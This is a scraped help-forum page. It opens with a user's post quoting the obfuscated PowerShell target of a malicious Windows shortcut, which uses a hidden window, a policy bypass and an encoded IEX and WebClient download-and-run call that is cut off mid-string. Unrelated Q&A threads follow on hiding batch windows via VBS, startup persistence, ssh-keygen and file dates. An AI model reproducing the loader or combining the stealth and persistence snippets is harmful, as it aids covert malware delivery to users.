Just ran a mystery windows shortcut file which has run a powershell script - powershell

I just downloaded a file which was hidden as a shortcut to powershell. I'm not sure what code it has just executed as it looks cryptic. This is what the .lnk file target was configured to:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP & ( $PsHoME[21]+$PShOmE[34]+'X') (( '73-69%88-40j78P101P119z45U79-98U106%101-99s116r32-83P121P115j116x101x109r46x78U101-116z46j87z101x98x67j108U105-101P110j116D41x46r68U111s119
It was set to start in:
%SYSTEMROOT%\System32\WindowsPowerShell\v1.0

Related

PowerShell: Open file via .bat script

imagine I have a files with certain extensions (for example '.abc').
The default program I set for files with this special extension is a batch script with powershell commands in it, so when I doubleclick the file, it runs the script. It works.
Now my question is, can I somehow get the file path of the .'abc' file I opened? Is there a command for this?
Thank you.
Inside of your batch file it should be possible to access the ".abc" file via parameter %1.
Per default Windows sends the filename of the file you doubleclick to the receiving program (or batch script) as parameter one.
Try this inside of your batch file (near the top) and pick what suits your needs:
echo param1: %1
echo param1 unquoted: %~1
echo drive: %~d1
echo drive and path: %~dp1
echo filename and extension only: %~nx1
set myparam=%~1
echo myParam: %myparam%
See the help documentation of for for the "%~..." syntax by executing for /? in a cmd.exe command window. (Or read here: What does %~dp0 mean, and how does it work?)

Is there a tag I could add to a ".bat" file to stop command window being displayed [duplicate]

How can I run a CMD or .bat file in silent mode? I'm looking to prevent the CMD interface from being shown to the user.
Include the phrase:
#echo off
right at the top of your bat script.
I have proposed in StackOverflow question a way to run a batch file in the background (no DOS windows displayed)
That should answer your question.
Here it is:
From your first script, call your second script with the following line:
wscript.exe invis.vbs run.bat %*
Actually, you are calling a vbs script with:
the [path]\name of your script
all the other arguments needed by your script (%*)
Then, invis.vbs will call your script with the Windows Script Host Run() method, which takes:
intWindowStyle : 0 means "invisible windows"
bWaitOnReturn : false means your first script does not need to wait for your second script to finish
See the question for the full invis.vbs script:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """" & WScript.Arguments(0) & """" & sargs, 0, False
^
means "invisible window" ---|
Update after Tammen's feedback:
If you are in a DOS session and you want to launch another script "in the background", a simple /b (as detailed in the same aforementioned question) can be enough:
You can use start /b second.bat to launch a second batch file asynchronously from your first that shares your first one's window.
I think this is the easiest and shortest solution to running a batch file without opening the DOS window, it can be very distracting when you want to schedule a set of commands to run periodically, so the DOS window keeps popping up, here is your solution.
Use a VBS Script to call the batch file ...
Set WshShell = CreateObject("WScript.Shell" )
WshShell.Run chr(34) & "C:\Batch Files\ mycommands.bat" & Chr(34), 0
Set WshShell = Nothing
Copy the lines above to an editor and save the file with .VBS extension. Edit the .BAT file name and path accordingly.
Use Advanced BAT to EXE Converter from http://www.battoexeconverter.com
This will allow you to embed any additional binaries with your batch file in to one stand alone completely silent EXE and its freeware
Use Bat To Exe Converter to do this
http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html (Choose Direct Download Link)
1 - Open Bat to Exe Converter, select your Bat file.
2 - In Option menu select "Invisible Application", then press compile button.
Done!
Try SilentCMD. This is a small freeware program that executes a batch file without displaying the command prompt window.
If i want to run command promt in silent mode, then there is a simple vbs command:
Set ws=CreateObject("WScript.Shell")
ws.Run "TASKKILL.exe /F /IM iexplore.exe"
if i wanted to open an url in cmd silently, then here is a code:
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("iexplore.exe http://otaxi.ge/log/index.php", 0)
'wait 10 seconds
WScript.sleep 10000
Set ws=CreateObject("WScript.Shell")
ws.Run "TASKKILL.exe /F /IM iexplore.exe"
I'm pretty confident I like this method the best. Copy and paste the code below into a .vbs file. From there you'll call the batch file... so make sure you edit the last line to specify the path and name of the batch file (which should contain the file you'd like to launch or perform the actions you need performed)
Const HIDDEN_WINDOW = 12
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("C:\PathOfFile\name.bat", null, objConfig, intProcessID)
It definitely worked for me. Comments are welcomed :)
Another way of doing it, without 3rd party programs nor converters ("batch to exe" programs actually just put your batch file in the tmp folder and then run it silently so anyone can just fetch it from there an get your code) no vbs files (because nobody knows vbs) just one line at the beginning of the batch file.
#echo off > NUL
The below silent .bat file code prevents the need to have two bat files (using "goto" and ":").
It does it all in the same .bat file. Tested and confirmed working in Windows 10
Make sure you replace "C:\pathToFile\ThisBatFile.bat " with the path to this same .bat file! Keep the space after ".bat".
#echo off
if [%1]==[] (
goto PreSilentCall
) else (
goto SilentCall
)
:PreSilentCall
REM Insert code here you want to have happen BEFORE this same .bat file is called silently
REM such as setting paths like the below two lines
set WorkingDirWithSlash=%~dp0
set WorkingDirectory=%WorkingDirWithSlash:~0,-1%
REM below code will run this same file silently, but will go to the SilentCall section
cd C:\Windows\System32
if exist C:\Windows\Temp\invis.vbs ( del C:\Windows\Temp\invis.vbs /f /q )
echo CreateObject("Wscript.Shell").Run "C:\pathToFile\ThisBatFile.bat " ^& WScript.Arguments(0), 0, False > C:\Windows\Temp\invis.vbs
wscript.exe C:\Windows\Temp\invis.vbs Initialized
if %ERRORLEVEL%==0 (
echo Successfully started SilentCall code. This command prompt can now be exited.
goto Exit
)
:SilentCall
cd %WorkingDirectory%
REM Insert code you want to be done silently.
REM Make sure this section has no errors as you won't be able to tell if there are any,
REM since it will be running silently. You can add a greater than symbol at the end of
REM your commands in this section to output the results to a .txt file for the purpose
REM of debugging this section of code.
:Exit
If your .bat file needs more than just the "Initialized" argument (which tells the bat file to go to :SilentCall section), add "^& WScript.Arguments(1)," , "^& WScript.Arguments(2)," ,etc. depending on the number of arguments, then edit the line where wscript.exe is called:
"wscript.exe C:\Windows\Temp\invis.vbs Initialized BatFileArgOne BatFileArgTwo"
I'm created RunApp to do such a job and also using it in my production env, hope it's helps.
The config like below:
file: config.arg
:style:hidden
MyBatchFile.bat
arg1
arg2
And launch runapp.exe instead.

Run unity player exe at windows startup automatically

As i have only unity build in exe format how can i put it to the startup of my window so that it run automatically when computer becomes start. Remember I don't want to put it manually is there any scripting ref available to do this or else auto solution?
You can add your application to startup with registry
https://stackoverflow.com/a/14280290/6720987
You can also place it in the windows startup folder
string startupFolder = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
if (Directory.GetCurrentDirectory() != startupFolder)
{
string path = Path.Combine(startupFolder, "MyFile.exe");
string ownPath = Assembly.GetExecutingAssembly().Location;
if (File.Exists(path))
{
File.Delete(path);
}
File.Copy(ownPath, path);
}
Beware that almost every virus scanner with see this as malicious
In windows 10 you can do this:
FileUtil.CopyFileOrDirectory("unityProject/mygame.exe", "%userprofile%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/mygame.exe" );
I want to give my end user an elegant and efficient way to add my exe to Windows startup and here i have managed to provide him batch file in the directory of my exe.
#echo off
Rem This Summary: This batch script will use to add current directories exe file into windows startup folder.
Rem It will work as follow
Rem 1. First search the exe file in the parent directory of this batch file (only one exe should be available next to batch file)
Rem 2. Make its shortcut
Rem 3. paste in sLinkFile(variable name of the location)
set "SCRIPT=%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
::Retriving full path of the .exe which is located in the parent directoy of the batch file(next to batch file)
for %%F in ("%~dp0*.exe") do set "EXEFILE=%%~fF"
> "%SCRIPT%" (
echo Set oWS = WScript.CreateObject^("WScript.Shell"^)
Rem Getting the startup path of the current user
echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Player.lnk"
Rem creating shortcut
echo Set oLink = oWS.CreateShortcut^(sLinkFile^)
Rem target path alread extracted in line 11
echo oLink.TargetPath = "%EXEFILE%"
Rem save the shortcut
echo oLink.Save
)
cscript //NoLogo "%SCRIPT%"
del "%SCRIPT%"
This file will be placed next to my player build and as user will run this batch file a shortcut of my exe will create automatically and added to the startup. So there is no manual work require just a batch file has to run.

ssh-keygen: The System Cannot Find the Path Specified

ssh-agent, ssh-add all works on Cmder running PowerShell/Posh-Git
I have added C:\Program Files\Git\usr\bin Environment Variables
ssh-keyen works fine on Git Bash,
how can I make ssh-keygen to also work with Powershell/Posh-Git ?
EDIT:
It turns out that the error is due to the fact that ssh-keygen in PowerShell is running the ssh-keygen.bat file instead of ssh-keygen.exe
So setting an alias as mention below is the way to go.
I use Set-Alias instead of New-Alias because New-Alias requires me to reset my $profile every now and then, which is weird.
To reset, type . $profile
One way to do this is to add it to your path.
Unfortunately, there appears to be no way to add only the executable. In other words, you will be required to add the whole bin folder (namely C:\Program Files\Git\usr\bin) to your path.
I can show you how to add the whole directory to the path, but I don't think this is what you want. Instead, below is an alternative method that only adds the ssh-keygen.exe executable.
Navigate to $env:homepath\Documents\WindowsPowerShell (create it if you don't have it).
Create a file called profile.ps1.
Add to the file the following line of code.
New-Alias Ssh-Keygen "C:\Program Files\Git\usr\bin\ssh-keygen.exe"
Now, each time you launch Powershell, Ssh-Keygen will be available. It even works with tab completion (e.g. type ssh- and press tab, then it automatically becomes Ssh-Keygen).
Actually, you can add single executables from the git bin folder to your path by symlinking them into a folder that is contained in your path variable.
I also wanted to use some of the git tools inside powershell but I didn't want to load the git-bin-folder into path every time I wanted to use one of the tools and I also didn't want to overwrite tools like cp, find, ls and so on...
Create a folder that you can add to path. I created mine in C:\dev\bin and added it to the path variable.
Then you need to symlink all the dll-files from the git bin folder to your new bin folder because the tools you'll link need them in the same directory (the runpath won't be the git-bin-dir but the new bin-dir). I'll add a Script to do that below.
And finally you just need to create symlinks for all tools you'd like to use in powershell as well (hint: ssh.exe is really nice to use in powershell ;))
Here are my powershell functions that'll help you set up your new bin-folder with all the nice tools from git:
# generic symlink function
function Create-Symlink {
param(
[string]$link,
[string]$target
)
& cmd.exe /c mklink "$link" "$target"
}
# symlink all teh git dlls
function Create-GitDllSymlinks {
param(
[string]$newBinDir='C:\dev\bin',
[string]$gitBinDir='C:\Program Files (x86)\Git\bin'
)
$dlls = gci $gitBinDir -Filter *.dll
$dlls | foreach {
Create-Symlink -link (join-path $newBinDir $_.Name) -target $_.FullName
}
}
# to easily link your git tools
function Create-GitSymlink {
param(
[string]$executable,
[string]$newBinDir='C:\dev\bin',
[string]$gitBinDir='C:\Program Files (x86)\Git\bin'
)
if (-not $executable.EndsWith('.exe')) {
$executable = ($executable + '.exe')
}
Create-Symlink -link (join-path $newBinDir $executable) -target (join-path $gitBinDir $executable)
}
# create all dll symlinks needed
Create-GitDllSymlinks
# link ssh and ssh-keygen to use in powershell
Create-GitSymlink -executable ssh-keygen
Create-GitSymlink -executable ssh
Another nice thing to do is this:
create a bash.bat file in your new bin-folder
write this into that .bat file:
"C:\Program Files (x86)\Git\bin\sh.exe" --login -i
quickly switch between powershell and bash:
when in powershell, type bash and git-bash will start inside the same window with access to all git tools in the git-bin-folder.
want to go back to powershell? just type exit!
Edit:
I reinstalled my computer a few days ago (with Win 10) and ran into some issues with my solution above. Apparently, git and/or the cygwin environment in git has been updated and the cygwin applications now search for their unix-environment-paths differently.
For example, ssh always said that it couldn't find my home path:
Could not create directory '/home/myuser/.ssh'.
The authenticity of host 'hostx (IP)' can't be established.
ECDSA key fingerprint is SHA256:xxxxxx.
Are you sure you want to continue connecting (yes/no)?
Using procmon I found out, that it was looking for files in c:\etc and c:\home\myuser. Setting environment variables like HOME or USERPROFILE didn't work, so I just made two additional symlinks to satisfy my cygwin tools:
PS bin # cmd /c mklink /D C:\etc "C:\Program Files\Git\etc"
symbolic link created for C:\etc <<===>> C:\Program Files\Git\etc
PS bin # cmd /c mklink /D C:\home "C:\Users"
symbolic link created for C:\home <<===>> C:\Users
I solved the problem by generating my own ssh key pair using command
$ ssh-keygen -t rsa -C "your_email#mail.com"
in powershell. If you already have a SSH key, then don't a generate new key, as they will be overwritten. You can use ssh-keygen command, only if you have installed Git with Git Bash.
When you run the above command, it will create 2 files in the ~/.ssh directory.
~/.ssh/id_rsa − It is private key or identification key.
~/.ssh/id_rsa.pub − public key
See link generate ssh key

Calling Date Modified in CMD

Basically just attempting to create a very basic program that will display the last modified date of a file on our server. Problem is I have no idea how to write it. This is what I attempted
cd \\Server\Folder
msg dir
I also ran into the problem "CMD Does not support UNC Paths as Current Directories" when I tried to change the CD to our servers directory.
What I would like it to do is display in a dialog box the modified date of a "Text.txt" located on our server \\Server\Folder
Any and all help is appreciated
Next .bat script should work:
set "_folder=\\Server\Folder"
set "_filename=Text.txt"
set "_filedatetime=N/A"
pushd %_folder%
for %%G in (%_filename%) do (
rem echo %%~tG %%~fG
if not "%%~tG"=="" set "_filedatetime=%%~tG"
)
popd
echo file %_folder%\%_filename% date and time: %_filedatetime%
Note there is no dialog box in pure cmd command line interpreter, try set /P.
Resources:
SET: Display, set, or remove CMD environment variables
PUSHD, POPD: and UNC Network paths
FOR commands
~ Parameter Extensions